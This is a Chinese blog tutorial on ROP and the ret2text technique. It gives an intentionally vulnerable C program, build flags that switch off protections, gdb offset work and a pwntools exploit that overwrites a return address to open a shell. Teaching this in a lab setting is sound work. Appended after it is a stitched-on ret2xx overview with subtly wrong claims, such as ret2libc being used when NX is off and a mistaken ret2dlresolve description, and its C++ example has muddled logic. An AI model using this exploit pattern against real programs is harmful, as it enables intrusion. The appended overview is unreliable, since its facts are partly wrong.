ROP初探之ret2text

ROP(返回导向编程)是一种高级的利用技术,用于在存在安全防御(如NX保护)的环境中执行代码。攻击者通过缓冲区溢出等手段控制程序调用栈,利用内存中已存在的指令序列(gadgets)来执行任意操作。文章详细介绍了ROP的工作原理、前置条件、分类以及具体利用方式,如ret2shellcode、ret2text等,并通过一个实例展示了如何利用ROP获取shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ROP

什么是ROP

ROP即返回导向编程是一种计算机安全利用技术,它允许攻击者在存在诸如可执行空间保护和代码签名等安全防御的情况下执行代码。
在这种技术中,攻击者通过控制调用栈来劫持程序控制流,并执行机器内存中已存在的精心选择的机器指令序列,称为“gadgets”。
每个gadgets通常以返回指令结束,并位于现有程序和/或共享库代码中的子程序内。
这些gadgets串联在一起,允许攻击者在使用阻止更简单攻击的防御的机器上执行任意操作。

ROP的原理

ROP的原理是利用程序内存中已存在的以返回指令结尾的指令序列(gadgets)来控制程序执行流程。攻击者通过缓冲区溢出或其他方式在栈上布置数据,覆盖返回地址为gadgets的地址,从而实现代码注入。ROP可以绕过NX保护,因为它不需要在栈上执行任何新的代码,只需要利用现有的代码。ROP需要精心选择和拼接gadgets,以实现所需的功能。

ROP的前置条件

  1. 需要程序存在缓冲区溢出漏洞。
  2. 需要在程序内存中找到合适的gadgets,即以返回指令结尾的指令序列,可以实现所需的功能。
  3. 需要能够在栈上布置数据,以控制gadgets的执行流程。

ROP的分类

ROP的分类有多种方式,其中一种是根据gadgets的来源和功能进行分类。例如,可以将ROP分为以下几类:

  • 基本ROP:使用程序内存中已存在的gadgets,实现基本的功能,如控制寄存器、调用函数、执行系统调用等。
  • 高级ROP:使用程序内存中不存在的gadgets,通过动态生成或修改代码,实现更复杂的功能,如解密、解压缩、加载库等。
  • 混合ROP:使用程序内存中部分存在的gadgets,结合动态生成或修改代码,实现更灵活和多样的功能,如跳过安全检查、绕过防御机制等。

其中基本ROP的利用方式有:

  • ret2shellcode:将返回地址覆盖为栈或BSS段中存放的shellcode的地址,从而执行shellcode。
  • ret2text:将返回地址覆盖为程序.text段中已有的代码的地址,从而执行程序本身的代码。
  • ret2libc:将返回地址覆盖为libc库中的函数或字符串的地址,从而执行libc库中的代码或调用系统函数。
  • ret2plt:将返回地址覆盖为程序.PLT段中的函数入口的地址,从而执行程序导入的函数。
  • ret2dlresolve:将返回地址覆盖为程序.GOT段中的函数入口的地址,从而执行程序导入的函数。
  • ret2syscall:将返回地址覆盖为系统调用指令的地址,从而执行系统调用。

ret2text

ret2text的原理(来自ctfwiki

ret2text的原理是控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

ret2text的前置条件

  • 程序存在栈溢出漏洞,可以覆盖返回地址。
  • 程序.text段中存在可以执行恶意命令的代码片段,或者可以利用ROP技术拼接多个代码片段。
  • 程序没有开启地址随机化或者可以泄露地址信息,可以确定代码片段的地址。

可利用ret2text的特征

  • 代码以返回指令结尾,如ret、pop ebp、leave等。
  • 代码可以实现一些基本的功能,如控制寄存器、调用函数、执行系统调用等。
  • 代码可以与其他代码片段拼接,形成ROP链,实现更复杂的功能。

ret2text的例题

题目描述(来源于Leticia’s Blog)

这个程序有两个子函数,分别是func和sys,其中func中gets函数存在栈溢出,而sys函数没有被调用。

#include <stdio.h>
int sys()
{
    system("/bin/sh");
}
int func()
{
    char a[10];
    gets(a);
    puts(a);
}
int main(){
    func();
}

不加入canary机制和地址随机化问题。
所以在编译时加入-fno-stack-protector -no-pie来关闭这两个保护机制并保存调试信息方便gdb调试。

gcc -fno-stack-protector -no-pie -g -o ret2text64 ret2text.c

题目分析

使用checksec命令查看保护机制,发现没有开启canary和PIE。
gdb_checksec.jpg

整个ROP过程:

通过栈溢出覆盖func函数中的局部变量a,覆盖func函数的返回地址,并将返回地址处的值改为sys函数的地址,就可以获得shell。

需要得到的信息:
  • func函数的返回地址
  • 局部变量a的地址
  • sys函数的地址
实操
查看代码

gdb_ret2text.jpg

在gets函数前打断点并查看sys函数的地址

gdb_breakpoint.jpg
也可以通过IDA查看
sys_funcaddr.jpg
得到sys函数的地址为0x401176。

调试程序

gdb_run.jpg

查看局部变量a的地址和rbp的地址

rbpa_addr.jpg

  • rbp的地址:0x7fffffffe2e0
  • 局部变量a的地址:0x7fffffffe2d6
计算func函数的返回地址

在64位程序中,函数调用时,返回地址是存放在栈中的,而且是在rbp的上一个位置,所以返回地址为0x7fffffffe2e8。(8个字节)

计算填充长度

填充长度为0x7fffffffe2e8-0x7fffffffe2d6=0x12。(18个字节)

构造payload
payload = b'a'*0x12 + p64(0x401176)
写出exp
from pwn import *
p = process('./ret2text64')
payload = b'a'*0x12 + p64(0x401176)
p.sendline(payload)
p.interactive()
得到shell

success.jpg

可能遇到的问题

Pwntools遇到

Got EOF while reading in interactive

使用system无法拿到shell,使用execve可以。
解决方法:
Ubuntu部分系统调用system的时候,rsp的最低字节必须为0x00(栈以16字节对齐),否则无法运行system指令。要解决这个问题,只要将返回地址设置为跳过函数开头的push rbp就可以了
于是可以将payload改为

payload = b'a'*0x12 + p64(0x40117b)
### ret2xx 技术的概念与实现 #### 什么是 Ret2XX? Ret2XX 是一种基于返回导向编程(ROP)的攻击变种,其核心思想是通过控制函数返回地址来跳转到特定的目标位置。这类技术通常用于绕过现代操作系统中的安全防护机制,例如 ASLR 和 DEP/NX[^2]。 #### Ret2XX 的主要分类 1. **Ret2libc**: 利用 libc 库中已有的函数(如 `system()` 或 `/bin/sh` 字符串),通过覆盖返回地址使程序执行恶意命令。 2. **Ret2plt/Ret2got**: 借助动态链接过程中的 PLT/GOT 表结构,修改 GOT 地址指向攻击者的代码片段。 3. **Ret2text/Ret2data**: 将目标程序本身的可执行部分或数据段作为 ROP 链的一部分加以利用。 4. **其他扩展形式**: 如 Ret2heap、Ret2stack 等,具体取决于漏洞环境和可用资源。 #### 实现方式详解 以下是几种常见 Ret2XX 攻击的具体实现: ##### 1. Ret2libc 当目标程序未启用 NX 保护时,可以通过构造 payload 覆盖栈上保存的返回地址至 libc 中的关键函数入口处。例如: ```c // Payload 构造示例 payload = b"A" * offset_to_return_address + p64(libc_base_addr + system_offset) + p64(return_address_after_system_call) + p64(bin_sh_string_in_libc) ``` 这里假设能够泄露 libc 基础地址,则可通过计算偏移量找到所需 gadget。 ##### 2. Ret2plt/Ret2got 如果 RELRO 并非完全生效(即 Partial RELRO),则可能允许对某些 GOT 条目进行覆写操作[^1]。此时可以尝试将某个函数对应的 GOT 槽位替换为我们希望调用的新功能指针。 ##### 3. Ret2text/Ret2data 对于缺乏 W^X 控制策略的应用场景而言,可以直接选取已有 .text/.data 区域内的有效指令组合成所需的逻辑流[^3]。 需要注意的是,在实际应用过程中还需考虑诸多因素的影响,像堆布局随机化程度高低与否都会极大地影响成功率。 #### 安全防范建议 为了抵御上述类型的威胁行为发生,可以从以下几个方面着手改进现有软件开发流程以及部署运行环境配置方案: - 启用完整的编译选项支持(-fPIE -pie),确保 PIE(位置无关可执行文件)特性得到充分利用; - 开启 Full RELRO 设置以增强加载期间符号解析安全性; - 结合 AddressSanitizer 工具链快速发现潜在越界访问隐患; --- ### 示例代码展示如何验证是否存在简单缓冲区溢出风险 下面给出一段简单的 C++ 测试案例供参考学习之用: ```cpp #include <iostream> using namespace std; void vulnerable_function(char* str){ char buffer[25]; strcpy(buffer,str); //存在明显的strcpy不安全使用情况 } int main(){ string userInput; cout << "Enter your input: "; getline(cin,userInput); try{ if(userInput.length()<=24){ throw invalid_argument("Too short"); } vulnerable_function((char*)userInput.c_str()); cout<<"Execution completed normally."<<endl; }catch(const exception& e){ cerr<<e.what()<<'\n'; } return 0; } ``` 此例子展示了由于不当处理用户输入长度而导致可能发生经典栈溢出错误的情形。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值